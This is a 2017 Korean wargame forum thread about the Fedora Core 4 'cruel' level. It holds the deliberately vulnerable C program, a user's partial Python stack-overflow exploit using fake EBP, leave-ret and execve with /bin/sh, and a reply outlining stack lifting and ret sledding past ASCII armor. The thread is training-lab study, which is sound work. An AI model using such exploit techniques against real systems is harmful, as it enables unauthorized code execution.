레벨 해킹

 2844, 1/143 회원가입  로그인  
   vngkv123
   fedora core4 cruel 질문

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&no=3361 [복사]


sfp를 체크하지 않는걸 이용해서 풀려고 했는데 궁금한게 있어서 2가지만 질문 드려볼게용 .....

1. fedora core4부터 특정함수들이 esp를 기준으로 참조한다는데 해당함수들을 관찰해보니 일반적으로 gdb로 보면 esp를 기준으로 잡아오는것 같은데 set disassembly-flavor intel로 설정하고 봣을시엔 여전히 ebp를 기준으로 인자들을 참조했습니다.
그래서 공격을 buf | dummy | sfp | ret | canary | temp stdin | 점을 이용하여
fake ebp를 이용하여  temp stdin에 ebp를 두고 execve(그리고 system) + Dummy[4Byte] + &"/bin/sh"로 넣었는데 전혀 실행이 안되네요 ㅠㅠ 라이트업에는 &"/bin/sh"이후에 다른 값들을 주던데 왜 그런지 이해를 못하겠네요 ㅠ

2. 댓글쪽에 소스를 참고할건데 이 부분을 어떻게 체크하는건지 잘 모르겠네용..
// preventing RTL
        ret = &canary - 1;
        if((*ret & 0xff000000) == 0)
        {
                printf("I've an allergy to NULL");
                exit(1);
        }


  Hit : 2292     Date : 2017/03/29 06:44



    
vngkv123 #include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int vuln(int canary,char *ptr)
{
char buffer[256];
int *ret;

// stack overflow!!
strcpy(buffer,ptr);

// overflow protected
if(canary != 0x31337)
{
printf("who broke my canary?!");
exit(1);
}

// preventing RTL
ret = &canary - 1;
if((*ret & 0xff000000) == 0)
{
printf("I've an allergy to NULL");
exit(1);
}

// clearing attack buffer
memset(ptr, 0, 1024);

return 0;
}

int main()
{
char buffer[1024];

printf("enigma : The brothers will be glad to have you!\n");
printf("you : ");
fflush(stdout);

// give me a food!
fgets(buffer, 1024, stdin);

// oops~!
vuln(0x31337, buffer);

// bye bye
exit(0);
}
2017/03/29  
vngkv123 파이썬 익스코드는 이렇습니다
import struct
import os
import socket
import time

p = lambda x : struct.pack("<L",x)

leaveret = 0x0804858e
canary = 0x31337
execve = 0x832abc
stdin = 0xb7f89000
system = 0x7db0e7
binsh = 0x8bd987


payload = "A"*260
payload += p(stdin + 0x110) + p(leaveret) + p(canary)
payload += p(stdin + 0x114)
payload += p(execve) + "A"*4 + p(binsh) + p(stdin + 0x11c) + p(0x0)
2017/03/29  
해쿨러 아하 오래전이라 잘 기억은 안나지만 아마 fc4에는 Solar Designer가 제안한 아스키아머가 아직 사용되던 시기였을 겁니다
그래서 라이브러리 주소에 RTL 인자전달을 막기위한 null바이트가 최상위바이트에 항상 존재하죠

그리고 재밌는건 입력을 vuln에서 받는게 아니라 main에서 받아서 넘기기 때문에
vuln함수의 리턴어드레스 이후로 카나리와 버퍼주소가 있고 바로 버퍼의 컨텐트가 이어집니다
결국 페1이로드를 ret너머 1024바이트만큼 더 쓸수도있단 소리죠
add esp 가젯을 이용해 stack lifting을 하셔서 buffer의 첫시작즈음부터 RET Sledding을 하셔서 vuln의 버퍼를 오버플로우 시킬수 있을만큼 ret sledding을 하신다음에 vuln의 리턴자리에는 stack lifting + ret 을 넣으시고 그다음에 카나리를 기준으로 vuln은 strcpy를 무조건 종료해야 하니 그 이후에 NULL바이트를 포함한 RTL 페1이로드를 넣으시면 됩니다
2017/03/30  
해쿨러 그러니까 입력은 하나지만 공격의 phase를 두단계로 나눠서 생각하시면 됩니다 2017/03/30  
2844   hack the box vpn 설치가 안 됩니다[2]     jyk5350
07/16 1310
2843   워게임에서 실제 프로젝트까지 이어지는 과정에 관련된 질문[2]     junhee329
04/28 1274
2842   ftz 접속 관련[1]     pk2861
04/01 1542
2841   level8의 힌트파일 훼손[2]     MunHue
06/05 1900
2840   레벨1의 /bin/bash 명령어....     MunHue
05/15 2059
2839   ftz level4에서 finger명령어     krimson701
04/20 2101
2838   /bin/bash에 관해서[3]     MunHue
04/19 2132
2837   FC10 3번 문제 질문입니다.[2]     tjdalstjr938
04/02 2042
2836   ftz이 안되요ㅠㅠㅠㅠㅠ[1]     ersd145
04/13 2837
  fedora core4 cruel 질문[4]     vngkv123
03/29 2291
2834   Fedora core4...[3]     vngkv123
03/28 2167
2833   lob evil_wizard...[2]     vngkv123
03/27 1932
2832   lob gremlin....[1]     vngkv123
03/22 3229
2831   ftz level11 질문[1]     vngkv123
03/19 2063
2830   pwnable.kr passcode문제 질문...[3]     vngkv123
03/14 2013
2829   워게임 접할 수 있는 사이트 알려주세요.[2]     오소리
02/23 3511
2828   워게임 기반 지식에 관한 질문[1]     salangi11
02/22 1973
2827   ftz 풀기위해 필요한 지식이 궁금합니다.[1]     read1516
01/13 2301
2826   Lob[1]     km1434
12/20 2075
2825   FTZ level4 쉘 띄우는 문제      kimstz0
10/09 2515
1 [2][3][4][5][6][7][8][9][10]..[143]

Copyright 1999-2023 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org & Wowhacker.com